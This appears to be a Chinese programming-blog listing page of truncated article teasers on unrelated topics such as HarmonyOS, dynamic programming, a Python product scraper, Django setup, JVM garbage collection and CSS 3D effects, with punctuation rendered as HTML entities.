咦&#xff0c;昨天路上寫一半就到家了&#xff0c;后來想早點睡就忘了還要發了&#xff0c;現在趕緊補上昨天是最后一節課(我們將一整天的課稱為一節&#xff09;&#xff0c;這就結課了昨天講了簡歷編寫&#xff0c;面試要準備的內容&#xff0c;還有redis和docker也沒有什么…

華為鴻蒙HarmonyOpenEye項目:開眼App的鴻蒙實現之旅

華為鴻蒙HarmonyOpenEye項目&#xff1a;開眼App的鴻蒙實現之旅 引言 在當今移動應用開發的浪潮中&#xff0c;鴻蒙系統憑借其獨特的分布式能力和高效的開發框架&#xff0c;吸引了眾多開發者的目光。今天要給大家介紹的是一個基于華為鴻蒙系統開發的開眼App項目——HarmonyO…

代碼隨想錄day36dp4

文章目錄1049.最后一塊石頭的重量II494.目標和474.一和零1049.最后一塊石頭的重量II 題目鏈接 文章講解 class Solution { public:int lastStoneWeightII(vector<int>& stones) {// 1. 確定 DP 數組及下標的含義&#xff1a;// dp[i][j] 表示考慮前 i 塊石頭&#…

Python 爬蟲實戰指南:按關鍵字搜索商品

在電商領域&#xff0c;按關鍵字搜索商品并獲取其詳情信息是一項常見的需求。無論是進行市場調研、競品分析還是用戶體驗優化&#xff0c;能夠快速準確地獲取商品信息都至關重要。1688 作為國內領先的 B2B 電商平臺&#xff0c;提供了豐富的商品資源。本文將詳細介紹如何使用 P…

【源力覺醒 創作者計劃】百度AI的開放新篇章:文心4.5本地化部署指南與未來生態戰略展望

百度AI的開放新篇章&#xff1a;文心4.5本地化部署指南與未來生態戰略展望 一起來玩轉文心大模型吧&#x1f449;文心大模型免費下載地址&#xff1a;https://ai.gitcode.com/theme/1939325484087291906 &#x1f31f; 嗨&#xff0c;我是IRpickstars&#xff01; &#x1f30…

測試工作中的質量門禁管理

一、前言 測試階段的質量門禁設計要考慮幾個維度,首先是研發流程的階段劃分,每個階段都要有明確的準入準出標準;其次要考慮不同測試類型的特點,比如功能測試和性能測試的驗收標準肯定不同;最后還要平衡質量要求和項目進度。 在單元測試階段,可以設置通過率和覆蓋率的閾值…

線上分享:解碼eVTOL安全基因,構建安全飛行生態

隨著城市空中交通&#xff08;UAM&#xff09;快速發展&#xff0c;電動垂直起降飛行器&#xff08;eVTOL&#xff09;面臨嚴格的安全與可靠性要求&#xff0c;需滿足全球適航標準及全生命周期分析。安全與可靠的飛行系統成為行業關注的焦點。在此背景下&#xff0c;本期線上分…

C回調函數基礎用法

&#x1f4cc; 定義&#xff1a;回調函數是通過函數指針傳遞給另一個函數的函數&#xff0c;這個被傳進去的函數將在某個時刻被“回調”調用。換句話說&#xff1a;你定義一個函數 A把函數 A 的地址&#xff08;即函數指針&#xff09;作為參數傳給函數 B函數 B 在合適的時機調…

手撕設計模式之消息推送系統——橋接模式

手撕設計模式之消息推送系統——橋接模式 1.業務需求 ? 大家好&#xff0c;我是菠菜啊&#xff0c;好久不見&#xff0c;今天給大家帶來的是——橋接模式。老規矩&#xff0c;在介紹這期內容前&#xff0c;我們先來看看這樣的需求&#xff1a;我們現在要做一個消息推送系統&…

Java 大廠面試題 -- JVM 垃圾回收機制大揭秘:從原理到實戰的全維度優化

最近佳作推薦&#xff1a; Java 大廠面試題 – JVM 面試題全解析&#xff1a;橫掃大廠面試&#xff08;New&#xff09; Java 大廠面試題 – 從菜鳥到大神&#xff1a;JVM 實戰技巧讓你收獲滿滿&#xff08;New&#xff09; Java 大廠面試題 – JVM 與云原生的完美融合&#xf…

圖機器學習(9)——圖正則化算法

圖機器學習&#xff08;9&#xff09;——圖正則化算法1. 圖正則化方法2. 流形正則化與半監督嵌入3. 神經圖學習4. Planetoid1. 圖正則化方法 淺層嵌入方法已經證明&#xff0c;通過編碼數據點間的拓撲關系可以構建更魯棒的分類器來處理半監督任務。本質上&#xff0c;網絡信息…

視頻動態范圍技術演進:從SDR到HDR的影像革命

一、動態范圍技術基礎認知 1.1 人眼視覺特性與動態范圍 人眼的動態感知范圍可達106:1&#xff08;0.0001-105 cd/m&#xff09;&#xff0c;遠超傳統顯示設備能力。視網膜通過虹膜調節&#xff08;物理孔徑&#xff09;與光化學反應&#xff08;光敏蛋白分解&#xff09;實現16…

基于LAMP環境的校園論壇項目

1.配置本地倉庫a.修改主機名為自己姓名全拼[rootserver ~]# hostnamectl set-hostname jun [rootserver ~]# bash [rootjun ~]# 運行結果圖如下圖所示&#xff1a;b.光盤掛載到/mnt目錄下[rootjun yum.repos.d]# mount /dev/sr0 /mnt mount: /mnt: WARNING: source write-prote…

在物聯網系統中時序數據庫和關系型數據庫如何使用?

在物聯網系統中&#xff0c;時序數據庫&#xff08;TSDB&#xff09;和關系型數據庫&#xff08;RDBMS&#xff09;的存儲順序設計需要根據數據特性、業務需求和系統架構綜合考慮。以下是典型的設計方案和邏輯順序&#xff1a;1. 常見存儲順序方案 方案一&#xff1a;先寫時序數…

django安裝、跨域、緩存、令牌、路由、中間件等配置

注意&#xff1a;如果是使用 PyCharm 編程工具就不用創建虛擬化&#xff0c;直接打開 PyCharm 選擇新建的目錄直接調過下面的步驟11. 項目初始化如果不是用 PyCharm 編輯器就需要手動創建虛擬環境在項目目錄cmd&#xff0c;自定義名稱的虛擬環境# 激活虛擬環境 python -m venv …

時間的弧線,邏輯的航道——標準單元延遲(cell delay)的根與源

時序弧 在這篇文章中&#xff0c;我們將討論影響標準單元延遲的因素。在開始討論之前&#xff0c;我們需要先了解一下什么是時序弧 (Timing Arcs)&#xff1a; 時序弧 (Timing Arcs)&#xff1a; 時序弧代表了信號從一個輸入流向一個輸出的方向。它存在于組合邏輯和時序邏輯中&…

《透視定軸:CSS 3D魔方中視覺層級的秩序法則》

當CSS的代碼編織出一個能自由旋轉的3D魔方&#xff0c;六個色彩各異的面在空間中翻轉、重疊時&#xff0c;最考驗技術的并非旋轉動畫的流暢度&#xff0c;而是每個面在任意角度下都能保持符合現實邏輯的前后關系。為何有時某個面會突兀地“穿透”另一個面&#xff1f;為何旋轉到…